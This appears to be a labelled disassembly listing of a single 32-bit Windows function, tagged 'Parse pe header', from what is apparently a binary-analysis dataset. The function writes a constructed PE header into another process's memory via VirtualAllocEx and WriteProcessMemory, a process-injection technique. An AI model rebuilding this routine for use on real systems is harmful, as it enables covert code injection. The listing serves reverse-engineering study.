Function at 0x1006c140
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1cc
mov eax, dword [0x100e03e0]
xor eax, esp
mov dword [esp + 0x1c8], eax
mov eax, dword [esp + 0x1d4]
mov ecx, dword [esp + 0x1d8]
push ebp
push edi
mov edi, dword [esp + 0x1d8]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x1e4]
push 4
push 0x1000
mov dword [esp + 0x14], eax
add eax, 0x1b8
push eax
push 0
push edi
mov dword [esp + 0x28], ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebp, eax
test ebp, ebp
je 0x1006c414
push ebx
push esi
mov esi, 0x40
push esi
lea edx, [esp + 0x19c]
push 0
push edx
mov dword [esp + 0x1c], 0
call fcn.10071ef0
mov ebx, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
add esp, 0xc
lea eax, [esp + 0x10]
push eax
push esi
lea ecx, [esp + 0x1a0]
push ecx
push ebp
push edi
mov word [esp + 0x1ac], 0x5a4d
mov dword [esp + 0x1e8], esi
call ebx
test eax, eax
je 0x1006c410
cmp dword [esp + 0x10], esi
jne 0x1006c410
push 0xf8
lea edx, [esp + 0x64]
push 0
push edx
lea esi, [ebp + 0x40]
call fcn.10071ef0
add esp, 0xc
lea eax, [esp + 0x10]
push eax
push 0xf8
lea ecx, [esp + 0x68]
push ecx
push esi
push edi
mov dword [esp + 0x74], 0x4550
mov word [esp + 0x88], 0xe0
mov word [esp + 0x8a], 0x2000
mov word [esp + 0x7a], 1
mov word [esp + 0x8c], 0x10b
call ebx
test eax, eax
je 0x1006c410
cmp dword [esp + 0x10], 0xf8
jne 0x1006c410
mov edx, dword [0x100bb8cc]
xor eax, eax
mov dword [esp + 0x170], eax
mov dword [esp + 0x174], eax
mov dword [esp + 0x17c], eax
mov dword [esp + 0x180], eax
mov dword [esp + 0x178], eax
mov dword [esp + 0x184], eax
mov dword [esp + 0x188], eax
mov dword [esp + 0x18c], eax
mov dword [esp + 0x190], eax
mov dword [esp + 0x194], eax
mov eax, dword [0x100bb8d0]
mov dword [esp + 0x170], edx
lea edx, [esp + 0x10]
push edx
add esi, 0xf8
push 0x28
mov dword [esp + 0x17c], eax
lea eax, [esp + 0x178]
mov ecx, esi
sub ecx, ebp
mov ebp, dword [esp + 0x1c]
push eax
push esi
add ecx, 0x28
add ebp, 0x58
push edi
mov dword [esp + 0x190], ecx
mov dword [esp + 0x194], ebp
call ebx
test eax, eax
je 0x1006c410
cmp dword [esp + 0x10], 0x28
jne 0x1006c410
push 0x40
lea ecx, [esp + 0x24]
push 0
push ecx
add esi, 0x28
call fcn.10071ef0
add esp, 0xc
mov eax, 0x40
lea edx, [esp + 0x10]
push edx
push eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x30], eax
lea eax, [esp + 0x28]
push eax
push esi
push edi
mov dword [esp + 0x38], 0x727444
mov dword [esp + 0x40], ebp
call ebx
test eax, eax
je 0x1006c410
cmp dword [esp + 0x10], 0x40
jne 0x1006c410
mov ebp, dword [esp + 0x14]
xor eax, eax
mov dword [esp + 0x15c], eax
mov dword [esp + 0x158], eax
mov dword [esp + 0x160], eax
mov dword [esp + 0x164], eax
mov dword [esp + 0x168], eax
mov dword [esp + 0x16c], eax
mov dword [esp + 0x15c], eax
mov eax, dword [esp + 0x18]
mov edx, dword [eax]
lea ecx, [ebp + 0x18]
mov dword [esp + 0x158], ecx
mov ecx, dword [eax + 4]
mov dword [esp + 0x160], edx
mov edx, dword [eax + 8]
mov eax, dword [eax + 0xc]
mov dword [esp + 0x164], ecx
lea ecx, [esp + 0x10]
push ecx
push 0x18
mov dword [esp + 0x170], edx
lea edx, [esp + 0x160]
push edx
add esi, 0x40
push esi
push edi
mov dword [esp + 0x180], eax
call ebx
test eax, eax
je 0x1006c410
cmp dword [esp + 0x10], 0x18
jne 0x1006c410
mov ecx, dword [esp + 0x1c]
lea eax, [esp + 0x10]
push eax
push ebp
push ecx
add esi, 0x18
push esi
push edi
call ebx
test eax, eax
je 0x1006c410
cmp dword [esp + 0x10], ebp
jne 0x1006c410
mov eax, 1
jmp 0x1006c412
xor eax, eax
pop esi
pop ebx
mov ecx, dword [esp + 0x1d0]
pop edi
pop ebp
xor ecx, esp
call fcn.1006f271
add esp, 0x1cc
ret 0x10